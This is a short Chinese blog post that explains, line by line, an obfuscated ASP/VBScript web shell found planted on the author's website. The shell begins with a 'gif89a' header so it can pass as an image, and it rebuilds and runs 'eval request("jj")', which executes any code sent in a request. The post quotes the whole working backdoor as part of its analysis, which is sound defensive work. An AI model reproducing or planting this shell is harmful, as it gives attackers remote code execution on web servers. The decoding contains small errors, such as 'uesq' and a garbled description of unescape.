前端设计

一段vbscript代码的解释

2014-06-13

网站被放了一段代码:

gif89a<%
dim a,b,temp,c
a="eva@@l%20req@@uest%28%22jj%22%29"
b=replace(a,"@@","零")
c=split(b,"零")
for i=0 to ubound(c)
temp=temp+c(i)
next
execute(unescape(temp))
%>

解释如下:

dim a,b,temp,c  定义几个变量

a=eva@@l%20req@@uest%28%22jj%22%29   给字符a赋值

b=replace(a,"@@","零")

replace为用第三个表达式替换第一个字符串表达式中出现的所有第二个给定字符串表达式。

所以 b="eva零l%20req零uest%28%22jj%22%29"

c=split(b,"零")  把字符串b从零处分隔开来,并赋给变量c,

此时c为带下标的数组,包含了(eva   l%20req   uesq%28%22jj%22%29)三段字符


for i=0 to ubound(c)
temp=temp+c(i)
 

UBound 函数可返回指示数组维数的最大下标。
用循环语句吧数组中的字符连接起来赋值给temp

temp="eval%20request%28%22jj%22%29"

execute(unescape(temp))
先执行里面 unescape(temp)

unescape 对   String   对象编码以便它们能在所有计算机上可读,返回一个包含了   charstring   内容的字符串值(   Unicode   格式)。所有空格、标点、重音符号以 及 其他非   ASCII   字符都用   %xx   编码代替,其中   xx   等于表示该字符的十六进制数。例如,空格返回的是 "%20 "

从html url编码表中得知:%20为空格  %28为左括号(    %22为双引号    %29为右括号

所有 unescape(temp)="eval request ("jj")"
 

execute(unescape(temp)) 

execute为执行参数中指定的代码